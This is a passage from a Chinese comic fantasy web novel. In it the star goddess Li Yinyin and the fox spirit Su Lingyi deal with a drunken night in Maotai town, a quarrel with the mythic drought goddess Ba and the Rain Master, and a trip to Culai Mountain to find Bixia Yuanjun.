苏灵衣就不一样了,狐狸爱喝酒,他在高原上偷喝过藏民的青稞酒,也曾不远千里跑去偷喝牧民的马奶酒,有苏氏女子在鹿台大宴群狐的时候,他也跟着去凑数喝了几杯,怕自己长得太“突兀”被轩辕坟群狐看出破绽把他打死,便早早偷溜走了,反倒在比干的剑下捡回一条性命。 经那次之后,他……更爱喝了,觉得有酒神庇护他。 李寅寅只沾了沾唇的酒杯,他悄悄挪到自己面前,被李寅寅发现后,他讪笑着解释:“这是好酒,倒了怪可惜的,你不喝,我帮你喝。” “少喝点,别醉了。” 胖熊猫拍着胸脯:“要是他喝醉了,我背他回去。” …… 然后…… 李寅寅看着醉倒在地上现出原型的胖熊猫和苏灵衣,又看了看猴王:“你这酒里放了什么?才这么几口就倒了?” 猴王抓耳挠腮:“我也不知道啊……这这这……我想你们远道而来,就想给你们喝得浓醇一点……” 普通的茅台酒,最高度数是53%。 热情的猴王给他们调了一个75%的。 李寅寅:“75度哦……好熟悉的数字……医用酒精是吧。” 猴王急忙解释:“真的不算很高啊,比起生命之水差好多呢。” 生命之水,蒸馏伏特加,酒精度是96%,在它面前,医用酒精就是个弟弟。 李寅寅揉揉太阳穴:“行了,我来处理,你别管了。” 她先拽着胖熊猫的腿,缩地成寸到了最近的卧龙自然保护区,把它给扔那了。 再回去解决苏灵衣。 刚站定,就听见调酒室外面有脚步声,她急忙把藏狐形状的苏灵衣捡起来,往脖子上一围,充做狐皮毛领。 “侯老师……”进来的是厂里的同事,找猴王说点事,她知道李寅寅是他亲戚,也没在意,顺嘴夸了一句:“好漂亮的狐狸围脖……啷个这么重的酒味?” “刚才不小心手抖了一下,洒在上面了。”李寅寅脸不红心不跳的现编故事。 “哦……” 苏灵衣以这种扭曲的姿势被挂在李寅寅的脖子上,他其实很难受,所以想动一动,换个姿势。 李寅寅当机立断,双手分别按住他的脑袋和尾巴,好像只是在整理围脖,她微笑告辞:“你有正经事要做,我就不打扰了,再见。” 临走的时候,猴王死活给她用不起眼的方形白塑料桶装了小半桶,让她带着路上解解渴。 李寅寅一手按着苏灵衣,一手拎着塑料桶,艰难的往回走。 回到旅馆房间,李寅寅把苏灵衣往床上一丢,看着他躺在那里一动不动的样子,李寅寅摇头:“真是的,你居然这么不能喝,还说什么去鹿台喝过……酒池肉林的时候,是不是妲己邀请了所有的狐族,只有你没收到邀请?” 苏灵衣闭着眼睛,嘴里嘟嘟囔囔:“我没醉……” “嗯,喝醉的都这么说。”李寅寅看着他迷迷糊糊的样子觉得很好玩,伸出双手去捏他的脸,“变身~梭子蟹!”“变身~大狮子!”“变身~小兔子!” 耳朵被扒拉在一起,让苏灵衣感到很不舒服,他下意识变成耳朵距离相隔遥远的生物:人类。 正常状态下的苏灵衣化人,必然会带着衣服。 酒醉状态下,他对自己放松要求,思想道德大滑坡,只变出了身体,没变出衣服。 “才喝这么一点,法力就倒退成这样。”李寅寅伸手去揪他的胸口。 “不要嘛,好痛……”苏灵衣伸手抱住正在施暴的手,委委屈屈地睁开眼睛:“你干嘛欺负我?” 李寅寅否认三连:“我不是,我没有,别乱说。” “你揪我。”苏灵衣哼哼唧唧,“你把我看光了!我不干净了!你要对我负责!” 李寅寅不接受道德绑架:“……你当狐狸的时候,难道穿衣服?连鼠兔都以看到你什么都不穿,在雪地上狂奔!” 苏灵衣根本就不听,抱着李寅寅的胳膊不撒手,李寅寅要推开他轻而易举,不过,看他垮着脸的小表情,李寅寅觉得十分有趣,便在他身边躺下。 苏灵衣不依不饶的抓起她的另一只手,搭在自己腰间,还往她的怀里拱了拱,嘴里还在念叨:“王上,你怎么都不像以前那样抱我了?为什么这么冷淡。” “嗯?”李寅寅眼睛微眯,虽然,她跟苏灵衣既无名也无实,但就是莫名有一种被人当面戴绿帽的感觉。 她也索性陪着他往下演:“因为你不乖了。” “我很听话的,是你变了,是你先不要我了……对我冷冰冰的,不抱我,也不喂我东西吃,你是不是变心了!”苏灵衣越说越崩溃,一大颗眼泪顺着眼角往下流。 他微微睁开眼睛,眼眶里盈满泪水:“为什么会这样,是我哪里做的不好吗?” 李寅寅:“……你都跟别的女人跑了,还问我哪里做的不好?” “监兵神君不是别的女人,她像你,不对,是跟你一模一样……她对我很好,就像以前你对我那样……每次看到她,我就像看到你……忍不住对她动心……我是不是见一个爱一个的坏狐狸啊……怎么会这样……” 苏灵衣嘴里念叨个不停,李寅寅在他耳边轻声问:“你已经被她迷住了,是不是连我的名字都不记得了?” “怎么可能!” “我是谁?” 苏灵衣的声音含含糊糊,但是李寅寅听得很清楚:“上圣白玉龟台九灵太真无极圣母瑶池大圣西王金母无上清灵元君统御群仙大天尊!!!” 这一长串字有一个为人熟知的名字:西王母。 也可以称之为王母娘娘,先天西华至妙之气化生,司天之厉及五残。 直到汉朝之后,人类热衷于将女神降格,并且强行拉郎配,王母才从权能极大的古神,堕落成了玉皇大帝的妻子,主要职能从掌管天下的灾疫和刑罚,变成了拆散小情侣,能拆一对是一对,从织女拆到七仙女,管不住的女儿,操不完的心。 无奈在人间行走的神的神格,就是靠人类的信仰所赋予。 就算是西王母,也不得不接受神格被削弱的事实。 李寅寅记忆里的西王母多次跟她抱怨过此事,她想再争取争取一下。 只是如今已经过去两千年了,人类对西王母的职责范围已经根深蒂固……哪里这么好改。 在此之前,李寅寅对西王母抱以相当的同情,四方星君没有被拉郎配,不是因为人类大发慈悲,放过星宿。 而是世人都以为掌管杀戮的星宿,必然是孔武有力的强壮猛男,怎么可能是一个女子。 三男一女,这个搭配就很不和谐,四个星君在天上开impart……那银河岂不是那啥…… 中国人可不是印度人,印度人才能坦然接受恒河是湿婆大神在激情时喷涌出的**,还跳进去又洗又喝的。 想到天上的银河是那啥……这是思想保守的中国人绝对不能接受的。 星宿神也因此逃离了拉郎配。 现在,苏灵衣,已经被她视为“我的小狐狸”,却还惦记着别人,这让李寅寅感到非常不满。 她也说不清这种不满的来源是什么,总之,就是很不高兴。 李寅寅强硬地把自己的胳膊从苏灵衣的双手中抽出来,抓起被子,兜头给他盖住:“睡吧睡吧,梦里什么都有!” 说罢,她转身离开苏灵衣的房间,去楼下找服务员想再开一间。 结果最近镇上有活动,这家地势绝佳的旅馆已经客满,只能凑合住。 李寅寅一把抓住苏灵衣,把他放到浴缸里,自己躺在大床上,心安理得的一觉睡到天亮。 其实半夜时分,苏灵衣就已经醒了,他发现自己在浴缸里躺着,短暂的困惑之后,开始反思,自己到底说了什么。 他只是醉了,不是断片了。 很快,他就想起了一切。 “完蛋了……”苏灵衣坐在浴缸里,用力揉按着脑袋。 他努力回忆,自己为什么会对李寅寅说那些话,好像,就是在喝醉之后,感觉李寅寅身上有一种特别熟悉的味道,就是当他还是小狐狸的时候,在白玉京时被西王母抱在怀中,还有紧跟在她身后的那种踏实安心的感觉。 他也说不清,自己为什么会觉得司掌天下兵戈杀伐的白虎星君会像西王母,也许是因为西王母原本的神格也是司掌天下瘟疫与刑伐。 其实,在天理教攻入紫禁城的那一年,苏灵衣回过一次白玉京,但是,西王母却完全变了一个人,冰冷无情,不抱他,也不抚摸他,甚至看着他的眼神,就跟看着庭院里的其他动物没有任何区别。 原本,苏灵衣以为是多年不见,情份淡了,便化成原形悄悄跑到屋里,想给她一个惊喜,再顺势向她撒撒娇的时候,却看见西王母那双冷漠的眼睛,她疑惑地看着苏灵衣,并且问值守的仙娥,为什么那么大一只狐狸跑进来都没有看见。 不仅没有挽回有关系,还连累了仙娥也受罚。 苏灵衣很难过,当天便灰溜溜地离开了白玉京,并且发誓再也不回来了,直到上次求取九凤丹…… 把此前遇到的事情都想了一遍,苏灵衣轻轻叹了口气。 也许,与李寅寅的关系,只能止步于此了,反正,李寅寅似乎也并没有对他有那么强烈的情感。 做为朋友……应该,也许,还是可以相处下去的……大概…… 苏灵衣做了一百遍心理建设,又对自己说了无数遍:“我们只是朋友……她不会因为我喝醉了喊别人的名字而打死我。” 等他觉得理由充足,万无一失了,才站起身,走出浴室,想探探李寅寅的口风,顺便再解释解释。 屋里没有人。 李寅寅已经走了。 连一张纸片都没有留…… 苏灵衣怔了许久:就这么结束了?她真的一点都不想再跟他见面了?她就这么悄无声息的去泰山了? 泰山府君的地盘虽然就在泰山底下,但也属于另一个维度,以苏灵衣的法力,是绝对不可能进去的。 在那之后李寅寅要去哪里,他也不知道。 断了……彻底的断了。 苏灵衣闭上眼睛,又想起与李寅寅第一次相遇时的场景,那是一种久别重逢、失而复得的狂喜。 他贪心的想要让这种喜悦维持得更久一点,没有告诉她,自己与西王母的关系,比寻常的主人和宠物要更深。 没想到,却让原本可以多保留一些时间的感情彻底消失了。 苏灵衣在旅馆里伤感的时候,李寅寅在茅台镇的早点摊上看到一群人围着看什么。 她凑过去瞧,有围观群众热心地向她介绍来龙去脉: 这是个小摊子,就摊主一个人在忙。 平时人少还好,喊一声要什么粉,交钱,然后站着等。 人一多,就全凭自觉了。 女人说是自己先要的粉,然后去别的摊子再买个包子,结果回来,就看到自己的那碗粉被排在她后面的男人给端在手里了。 她向男人讨个说法,男人抱着牛肉粉的碗大喝了一口,然后挑衅般地看着她:“想吃我的剩饭就拿走。” 女人不甘示弱,对着男人手里的牛肉粉吐了一口口水。 剧情,就此向着不可收拾的方向发展。 现在两人都搁着牛肉粉不管,在旁边单挑,排队的人一边等牛肉粉,一边看热闹。 李寅寅立刻加入了看热闹大军。 挤进人群,她发现了交战双方是熟人。 女人发量稀少,容貌枯槁。 男人肚大腰圆,凶神恶煞。 黄帝的帮手——天女妭。 蚩尤的部将——雨师。 啧啧啧…… 这热闹,大发了! 李寅寅一手端着牛肉粉,一手拿筷子,站在吃瓜第一排。 然后,这两人的目光同时望向她。 “是你!”分属两大不同阵营的人,对李寅寅的怨念居然高度相似。 李寅寅做为星宿,原本不应该站队黄帝和蚩尤的任何一边,要保持公平公正公开。 但是,她站队了,帮黄帝搞死了蚩尤。 只因为她知道黄帝有人王气运,蚩尤虽然猛,但有命无运。 支持一个失败者,只会让人觉得她没用。 于是,她帮着黄帝联络上了身在昆仑以北、共工台上的天女妭。 天女妭干翻了雨师,所以雨师恨天女妭和与之相关的李寅寅。 天女妭恨她,则是因为李寅寅跟她吹黄帝吹得天花乱坠,说他是天定人王,现在投资,入股不亏,将来随便也能得个封赏。 结果,她神力耗尽,再也回不到共工台。 黄帝不仅不帮她,反而说她会带来大旱,将她驱逐至赤水之北,连名字都给硬改了,叫“赤水女子献”。 为了这种操作有合理性,天女妭的名字被改成了黄帝女魃,听起来就好像是黄帝的女儿。 一个帝王驱逐功臣,会被人视为无情无义。 一个父亲驱逐女儿,会有人替这个父亲解释:“父女情深,现在最痛苦的一定就是他了。” “为什么要苛责一个可怜的父亲?” “他已经够痛苦了。” …… 天女妭怨恨黄帝,但是黄帝已经乘龙上天,她虽然恨,但也没有别的办法。 现在,无良职业中介忽然出现在她面前,她哪能忍得住。 看见两位突然罢手,大有同仇敌忾的意思。 李寅寅不跑也不躲,她飞快地把牛肉粉往嘴里塞,死嘴快吃啊,一会儿就要打架了,这么香的米粉,千万别浪费了啊! 第89章 旱魃与雨师 苏灵衣向旅馆服务员询问附近有没有吃饭的地方,服务员热情推荐了这家的牛肉粉,并力荐往里面多放折耳根:“特别香,特别好吃。” 到了牛肉粉店,食客们还在津津有味的讨论着刚才的八卦:“一男一女为了抢牛肉粉要打起来。” “两个人还没分出高下,又来了一个女的,那两个人凶巴巴地把她架走了。” “会不会是那个男的是秃头女人的丈夫,后面那个女人是二奶?” “那个男的能找到那么漂亮的二奶?世界奇观。” “也许是图他有钱?” “在这吃八块钱一碗的牛肉粉,有钱?” 店老板听着不乐意了:“有钱人啷个就不能来吃了!我的粉好吃!还有人开着奔驰宝马来吃的!茅台酒厂的厂长都来吃!” 众食客听了都笑起来。 苏灵衣起先没在意,后来听人形容,越听越像在说李寅寅。 他向人打听:“那个短发的女人,是不是在耳朵边上还有一缕白色的头发?” “诶,是嗦噻,还是你娃儿看得仔细。” 苏灵衣急忙问:“他们去哪了?” “不晓得。” 苏灵衣无心吃粉,只想赶紧找到李寅寅,此时他点的粉已经煮好了。 旁边排队的人见他魂不守舍,劝道:“走都走了,你现在找也来不及,事已至此,还是先吃饭吧,再慢慢找也不迟。” 苏灵衣谢过他:“我真的很着急,这碗粉送你了。” 食客们看着他飞奔离去的脚步,在刚才的两女两男的剧情里加入了新的段落:“秃头女的老公是胖子,短发女是胖子的二奶,胖子长得丑但也许有钱,这个年轻英俊的后生是短发女的男朋友,对她死心塌地。” …… …… 三人在一处无人的死胡同里站着。 “多年不见,星君一向可好?”天女妭冷笑看着李寅寅。 李寅寅靠在墙边:“天庭跟人间断了往来,我也回不去了,凑和过呗。” “是吗,你还能找地方凑和过,我却只能跟我最讨厌的死对头在一起。”天女妭的眼睛里像要喷出火。 天女妭自从被驱逐以来,感到自己的法力日渐衰弱,以为好歹能凑和过日子。 不想她的先天神格时强时弱,什么七八月旱到地上开裂,抗旱指挥部紧急动员,还有她去重庆转了几天,重庆气象局被迫往天上打了五次催雨弹,硬是被她的神力驱到别处去了,害得重庆气象局成为全国笑柄,中央都为此安排了工作指导组。 雨师也没好到哪里去,走哪儿,涝哪儿,98年他在全国转了一圈,想要找一个舒服的地方待着,后果大家都知道了。 去年他在云南,听说天女妭逼得云南抗旱指挥部发出通告,并且老对头天女妭已经走了。 他寻思着,自己可以放心大胆的去了。 结果,他这一去不要紧,可把在大理的游客给害惨了。 大理的洗马潭,五月份的时候还因为大旱,而直接干透,他这一去,十五天之内,大理竟然下起了连绵雨,只有晚上八点左右才会停个十几二十分钟。 习惯了阳光明媚的大理城,几乎所有的客栈和居民区都装的是太阳能热水器,整整半个月没有一丝阳光,热水器里的水最多只有三十五六度,把所有在大理的游客冻个半死。 五月干到见底的洗马潭,不仅水量充沛,甚至溢出来了,圆圆的潭,变成一滩毫无章法的“积水”。 云南从极旱转到极涝,引起了有关部门的注意。 讲科学的部门排除了厄尔尼诺和拉尼娜,讲玄学的部门发现了天女妭和雨师曾经出没的痕迹。 这两位在几千年前就在人间游荡,惹下无数祸事,从巫的时代开始,天女妭和雨师就在人类法师那里挂了号。 历代大师们能劝离就劝离,不能劝离就摆大阵驱逐,驱逐不了再想别的办法。 两边相看两相厌,还互相干不掉,只能看谁先受不了跑路。 弄得他俩也是怨气冲天,只是想安生过日子,何至于赶尽杀绝。 其实李寅寅看出来这两人是雨师和天女妭。 只不过她知道这两人在阪泉一战之后,就已经彻底的失去了法力,身上那点残存的神格,也就只能影响影响天气。 而且还只是影响小范围的天气。 让天女妭正面迎战“摩羯”,她上她也麻。 让雨师去塔克拉马干沙漠深处,他也吸不来多少水汽。 她以为这两人的神力已经衰微到认不出自己了。 事实证明,不管是人还是神,都不能过于自信。 …… “你们俩现在不是过得挺好嘛,合作共赢,让一瓶普通白酒能卖得那么贵!想按平价购买,还得抽签,我抽了二十多次,没一次中的。说明你们俩很厉害啊。” 天女妭冷冷看着她:“是你告诉我,有熊轩辕有人王气运,却没告诉我,我就是一将功成万骨枯的万骨之一。” 李寅寅摊开双手:“这种事情是可以预见的嘛,投资有风险,入市须谨慎。拼得一身剐,敢把皇帝拉下马。” 这些,都是经过无数次坑爹教训之后的产物了。 如同宋襄公在泓水之战中让楚军过了河,又让楚军布好阵,在他信奉的价值观里,这是合乎“礼”的行为,但是,他却成为笑柄, 楚怀王在没有任何抵押的情况下,相信了张仪所谓的六百里地…… 孔子怀念上古,说春秋是“礼崩乐坏”,便足以说明当时国与国之间的信任有多糟糕。 世界上所有的诈骗手段,都在中国的春秋战国时期初见雏形,之后只是升级版和混合版而已。 李寅寅拿已经飞速进化了一千多年的“防诈骗指南”去忽悠天女妭,多少是有些不讲武德了。 ……白虎星君为什么要讲武德,胜利就是最大的武德!胜利就是一切! 刘邦这个老流氓一辈子不讲武德,影响他是大汉的开国之君了吗!没有! 李寅寅理直气壮到连天女妭都要反思自己是不是太傻太天真,才会上了有熊氏那厮的当。 先让天女妭反思起来,雨师就更好解决了。 “你法力不够,被天女妭压了一头,但凡你是个厉害的,还能输吗!怪我干什么?你看看人家‘摩羯’,横扫亚洲,直入美洲。再看看‘普拉桑’,横扫中日韩之后,远渡太平洋,去美国登陆了!这才叫硬实力好吧!你再看看你!” “再说,你们输又不只是输在了大旱上,你搞出了大雾,人家黄帝搞了指南车。你们就没个什么人再破坏一下地磁?在他的车子下面装几块磁铁也够它乱的,你们是要科技没科技,要暴力没暴力,不反思自己,就知道甩锅给我,跟你这种虫豸在一起,蚩尤怎么能夺得天下!” 李寅寅说到兴起,一甩袖子:“待你天命将尽,届时有何面目去见兵祖蚩尤!废物点心,你枉活千年,一生未立寸功,只会甩锅装死!推过于人!一条断脊之犬,还敢在我面前狺狺狂吠!我从未见过有如此厚颜无耻之徒!” “我我我我我……”雨师一生虽不成功,主营业务也时常被河伯、龙王、二十八宿中的好几个抢功,但也算神格在手,是人是神好歹都给点面子,哪里吃过这种亏。 被李寅寅骂了,他也不敢真的怎么样,李寅寅神格与神力都在,他如今可什么都没有,就那点小小的天赋,难道他还能靠下雨把李寅寅淹死不成。 “咱们都是回不去的,同是人间沦落人,何必见面还要打打杀杀,凑合活着吧。”李寅寅不想再跟他们聊几万年前的恩怨,她只想早点去泰山,搞清楚怎么回天庭比较重要。 天女妭看着她:“你回天庭干什么?” “我的事早办完了,怎么不能回天庭了?”李寅寅不理解她这是什么意思。 “你……莫非……真的跟天庭上的某位有奸情?” 李寅寅正色道:“不是,我的宫殿在那里,我怎么就不能回去了?” “你的宫殿?在天庭?什么时候的事?”天女妭的表情不像在开玩笑。 李寅寅困惑地看着她:“自古以来?” 天女妭想了想,忽然露出恍然大悟的表情:“穷则搁置争议,富则自古以来?也好!待到你拿下天庭之日,能不能将我送回共工台?” “我?”李寅寅发怔,“不是,等等,我什么时候要拿下天庭了?” 天女妭神秘莫测一笑:“我懂,事未成时,要保密,我不会到处乱说的。” 李寅寅越发困惑:“我有个疑问……你是不是把我当成别的什么人了?我是白虎监兵星君。” 天女妭却还是那副“我懂,我懂”的表情:“天地之间皆有灵识,说出名字,就会触发追踪,这是他一贯的手段了。” “他是谁?”李寅寅越听越糊涂。 天女妭伸出手指,对着天空点了点,不知是巧合还是别的什么,原本晴空万里的天气,被覆盖了半天乌云。 天女妭将手指竖在嘴唇前:“嘘,看见了吗,这就是他的威能,哪怕天庭与人间断了联系,他也能听见。” 李寅寅:“……” 可是这里的天气本来就是这样啊。 贵州,出了名的“天无三日晴”,飘来乌云又怎么样嘛。 只是,天女妭不愿意多说,李寅寅也不能强迫她。 算了,就当这她是在人间晃久了,被阴谋论洗脑了。 天女妭和雨师就此罢手,各自离去,李寅寅打算回去牛肉粉摊那边,给苏灵衣打包一份。 昨天晚上把他扔到浴缸里一晚上,她的气消了不少,早上路过浴缸的时候,看了他一眼,他变成狐狸的模样,小小一只,缩在浴缸里,显得特别可怜。 那一刻,李寅寅的心里就闪过了一个念头:“唉,跟他计较什么啊,他什么都不懂。” 这个念头让她自己都觉得莫名其妙,苏灵衣怎么可能什么都不懂,李寅寅想带着他,就是因为他天上地下、古今中外无所不知。 也不知道那个奇怪的念头是哪里冒出来的。 除了天女妭的反应比较奇怪之外,还有一件奇怪的事。 如今白虎七宿都已经到齐了,可是,李寅寅却依旧没有神力回归的感觉……如果这都不算七宿归位,那怎么才算? 约七宿一起吃个饭? 还是要进行什么仪式? 原本昴日鸡是想跟着李寅寅一起去泰山的,不过李寅寅让他留下,同时把九头罗刹王的神格也留下,让昴日鸡一并看管。 这玩意儿带着满山跑,万一触发什么警报装置,让神仙们误以为自己是罗刹王同伙,那就不好了。 李寅寅看看时间,打算给苏灵衣买了粉就走。 苏灵衣把城区翻遍,都没有找到李寅寅,镇上人来人往,有人拎着刚买的菜,有人去送孩子上学,有人在路上遇到熟人,满脸笑容在一起聊天,不大的镇子里,大家都是熟人,见面就打招呼,充满了热闹的市井气息。 只是这一切,都与苏灵衣没有关系。 他要找的人不见了。 他的目标……他的目标是什么?他有目标吗? 似乎也没有…… 苏灵衣怔怔地站在路当中,如果李寅寅真的不要他了,那么接下来,他应该去哪里? 不如提前回白玉京,反正,他在人间已经没有什么惦记的事了。 “苏灵衣!你要不要辣椒和折耳根?!”从不远处传来一个熟悉的声音。 “不要折耳根!”苏灵衣下意识地回了一句,同时转身,看见李寅寅站在牛肉粉摊旁边,跟老板比比划划。 老板麻利地切牛肉,撒葱花,一边操作,一边吐槽:“加折耳根才好吃呢!你们不懂……” “哎,这种味道比较怪的东西,不吃就不吃啦,也不是人人都能吃得惯榴莲的。”李寅寅与店老板像熟人那样瞎聊。 “哎,你来都来了,也别打包了,就坐这吃吧。”李寅寅向苏灵衣招手。 她的态度就像关系很好的朋友一起出来玩,她只是早上起早了一点,独自出来遛达,顺便给苏灵衣带一份吃的回去。 完全不像两人闹翻之后,又经过了激烈的思想斗争,决定与他重归于好这么一个复杂的心路历程。 苏灵衣坐下,有一下没一下的挑着米粉,吃得心不在蔫,没吃两口,他心思百结,胃口被堵住了,实在没忍住,开口问道:“你昨天是生我的气了吧。” “对。”李寅寅坦然承认。 “我可以解释的,我……” “不用解释,我懂,一生一次心意动那种才是逆天,会喜欢上同一种人很正常。” 苏灵衣急忙解释:“不是,我真的觉得你身上有一种熟悉的感觉,现在在白玉京的没有。” “嗐,就是感情淡了呗,谈恋爱的时候都说爱得深,不爱了就是你变了。”李寅寅也是看过几本狗血言情小说的。 此时,苏灵衣真诚地感受到什么叫做“臣妾百口莫辩”,什么叫做“你这么污蔑本宫,本宫不知道说什么”。 “感觉”这种东西,是最不靠谱的。 要是有人上嘴皮碰下嘴皮,随便对人说一句“我感觉跟你有缘”,那不是骗财就是骗色。 连苏灵衣自己都不能信。 苏灵衣吃米粉吃得心事重重,有外地游客路过,本来想点单,结果看着苏灵衣那食不下咽的痛苦模样,他们小声说:“看起来好难吃,换一家吧。” 店老板关切地拿出一瓶江中健胃消食片摆在桌上:“是不是胃不舒服?” 苏灵衣知道自己影响老板生意了,心里有些过意不去,他努力往嘴里塞,连老板都劝他:“吃不下就别吃了,你别吃到医院去了。” 茅台镇不大,满街都是熟人。 要是苏灵衣吃完粉就去了医院,医生一照,他肚子里真有一碗粉,最多一小时,单靠人传人,这事就能传遍大半个镇,牛肉粉生意也别做了。 “走吧,老板会处理的。”李寅寅拉着苏灵衣离开。 某酒厂厂长办公室。 天女妭坐在大班椅上,在她对面坐着的是雨师。 雨师也是一个酿酒厂的厂长。 同行是怨家,新仇加旧恨让这两人见面就要打,平时王不见王。 但是为了这里的风调雨顺,又不能把对方真的打死,平时遇上气候明显异常,还得互相打电话,激情辱骂对方太浪,让对方收敛一点。 这么多年来,双方都觉得自己委屈大发了,永远也不可能和平共处的。 今天,他们竟然如此平和的坐在一个房间里,天女妭甚至给雨师端上了一杯没有下毒的茶! “还记得上次你给我倒的茶里面放着碧蚕毒蛊。”雨师颇为感慨。 天女妭冷漠地说:“碧蚕毒蛊已经灭绝了,百草枯行不行?” “哈……”雨师端起茶杯喝了一口,“我要是七窍流血的从你厂里被抬出去,你的生意还做不做了?” “如果她真的能重连天地,我马上就能回共工台,这么一个小小酒厂,有什么好在乎的。” 雨师将茶杯放下嘿嘿一笑:“你回去之前,不如把这厂子转让给我,好歹也斗了这么多年,我想看看你们厂的下曲和蒸酿工艺到底有什么不同。” “嗯?你不走?”天女妭不明白,雨师虽然襄助蚩尤与黄帝作对,但天庭做主的是“昊天金阙无上至尊自然妙有弥罗至真玉皇上帝”,不是他公孙轩辕,也不是有熊氏的人。 “再说,你不是白虎七宿毕月乌的下属吗?如果天庭再次能够与人间对接,你可以不用回极西星海?” “……”雨师沉默许久,无奈一笑:“你这个帮助胜利者的人,都落得如此下场,我帮的人早已被传首九边,死于血池,回去哪里有我的好。” 雨师头一次在天女妭面前露出无奈又伤感的神情:“监兵星君两头下注,她带着七宿支持黄帝,让我们这些七宿之下的星官们支持蚩尤,无论哪一方赢了,她都有充足的理由。我的司雨之职早已归了赤松子和四海龙王,就连毕宿大人,也被削得只剩下了镇守边疆之责,我要是回去……大概当天就会被绑去送给黄帝做礼物。” 天女妭也沉默了,自天地化生的古神们,毫无人性,更无温情,所谓“苍天不仁”,便是这个意思,一切都要用利益和数据做为衡量。 什么“没有功劳也有苦劳”,那是不存在的。 天女妭自己就是一个活生生的例子,她劳苦功高,为了跟雨师斗法,法力耗尽,黄帝得了天下,而她成了人人喊打的旱魃。 “我们斗了这么久,挺可笑,明明已经看见输和赢与我们无关,又何必……”天女妭闭目向大班椅靠背猛然躺下。 雨师斜躺在三人长沙发上,一下一下的拍着肚子:“是啊,没意思。” “如果我回共工台,你愿意一起去吗?”天女妭问道。 “我?”雨师不敢置信。 “是啊,以我现在的神格,回到共工台,昆仑以北都要寸草不生,那里有很多可爱的小动物,我不希望它们因我而死。” 雨师愣了五秒,伸手用力搓了搓脸:“到时候再说吧,现在说这些太早。” 他巴不得赶紧离开这个糟心的人间。 自古以来,人类求雨的时候,先拜龙王,再打旱魃。 要是还不能让人类如意,人类鞭打龙王,继续打旱魃。 过上一个月还不下雨,不仅是龙王,所有司掌下雨的神祇,以及旱魃都得被拉出来暴打。 …… 虽然,自从四海龙王的信仰占据上风之后,早就已经没有人专门建庙祭祀他了。 但是,众神挨打的时候,是绝对不会把他漏掉。 雨师躺一会儿,忽然想到:“可是,她好像还没有想起来自己是谁……她好像以为她是别人。” “古神这么做,必有深意,我们就不要管这么多了。”天女妭不愧是住在昆仑旁边的神,思想境界就是不同。 李寅寅想让苏灵衣留在这里:“你跟泰山府君又不熟,你去干什么呢?那里是亡灵之国,多少年前死掉的灵魂都在里面,上古那些魔兽长得又不好看。” “泰山府君的信仰已经消失了几千年,也许,需要有特别的方式才能将他请出来。多一个可信任的人帮你,不是会更好吗?” 李寅寅思忖片刻,苏灵衣这么说也没错。 白虎七宿现在没一个管用的,就能力而言,还不如刻意收集天下各种杂七杂八信息的苏灵衣。 “好吧,那你紧跟着我,不要随便招惹泰山的神灵和动物。” 苏灵衣:“……我连泰山石敢当都得罪不起,你也太看得起我了。” 第90章 碧霞元君 “这里……好像……确实是山没错,怎么看着不那么泰山呢?” 李寅寅站在山顶上,向四周眺望。 山石嶙峋,确实有几分泰山那味儿。 可是……游客在哪里! 寺庙在哪里! 人工修的楼梯又在哪里! 那可是东岳泰山! 一览众山小的泰山! 人呢! 要是泰山这么光秃秃的,别说游客了,就连一个活人都没有,泰安旅游局的各位怕不是要被关在会议室里三天三夜,分析、讨论、整改。 李寅寅的缩地成寸从来就没有出现过定位出错,比缺德地图和度娘地图都靠谱多了。 实在没有办法,最终法力不及科技。 李寅寅掏出手机,打开地图定位:徂徕山国家森林公园,距离泰山玉皇顶三十公里。 啊这…… 李寅寅正在反思到底是哪一步出错,苏灵衣已经在往前走:“真快,都到了。” “等一下,传错位置了。”李寅寅勇于承认错误。 苏灵衣困惑地看着她:“没错啊,就是这里。” “这不是泰山,还有三十多公里呢。” “可是,这里就是泰山,而且,你要找的人就在这。” 现在换成李寅寅困惑了:“啊?” “徂徕山是泰山山脉的一部分,严格来说,也是泰山。而且,碧霞元君就住在这,泰山府君已经不在了,我们不就是要来找碧霞元君吗?” “嗯,啊,哦……我们是来找碧霞元君的?”李寅寅自己都不是很确定。 泰山自上古时期就属于东方天帝青帝太昊氏管辖,后来神权转移,从太昊氏转移到句芒,再从句芒转移到了青龙。 而且还有人王来封禅,李寅寅最烦跟人王皮里阳秋的说套话,所以,从来没有来过,就连泰山府君诞辰之类的活动,她也没有参加过,问就是在人间打仗,或者准备去人间打仗,或者刚刚从人间打仗回来。 在她的记忆里,泰山府君的神权时强时弱,但是一直都有,什么时候泰山府君的神格换人了? “民国时候换的,1930年8月21日,泰山府君最后的祠庙被炸毁,他就走了。” “你怎么记得这么清楚?”李寅寅从不怀疑苏灵衣的记忆力,但是精确到了天……记忆力也太好了,他的脑子内存得多大,才能记住这么细碎的事情。 苏灵衣的神色不善:“那一天,马鸿逵的部下挖断了王母池,还挖出了李隆基和赵恒封禅泰山时用的玉片,全被他一个人拿走了。” 他顿了顿,又补充一句:“三十多片呢,都是文物,很贵的!” 他十分愤慨,好像在为流失海外的文物而痛心。 但是李寅寅觉得,他在提到王母池的时候才是真情流露的愤怒。 后面那句是找补用的。 算了,这不重要。 “你知道碧霞元君的住处?” “嗯,不过我只知道地形,不知道具体经纬度,我也不会缩地成寸,只能麻烦你跟我走过去了。”苏灵衣示意李寅寅跟他来。 冬天,山中草木凋蔽,不过满山枯黄的草叶在风中发出干裂的脆响,倒另有一番风情。 徂徕山的石头都很大块,清澈见底的小溪在石板上流淌,苏灵衣带着李寅寅一路顺着溪水向上走,在溪流分叉三次之后,两人到了更加荒凉的一处山坳。 这里向阳避风,是山间唯一一点有绿色的地方。 现在地上看不出来有什么特别,到了春天便会绽放万紫千红,如锦缎织就的地毯一般。 在地上,有一条用碎石子铺成的小路,小路尽头是一座庙,上面写着“奶奶庙”三个字。 “到了。” 这座小庙看起来只有苑雪心心念念要修的那座寺庙的明代部分那么大。 跟泰山顶上的碧霞祠更是相差甚远,简直就是一个汤臣一品,一个农村自建房。 干净是干净,大概每天都有人打扫。 就是里面即没有美仑美奂的大殿,也没有雕着神人仙兽的大香炉。 殿内的地,是青砖地。 殿中立着一座神像:约摸二十三四岁的年轻女性形象,衣带飘飘,气度从容,眼神与其他主打温柔慈爱的女神像不同,她的眼神十分坚毅,感觉好像下一刻就要去炸碉堡。 神像前是一个香案,一个香炉。 香案根本就是一棵大树从中间劈开,取了一片木板做的,甚至都没有切削成规则的长方形。 香炉是一大块整石从中间掏空,里面有不少香灰,看来并没有想象中的那么萧条。 庙里居然还有几个年轻人,挤在香炉前面,看着神像前的字。 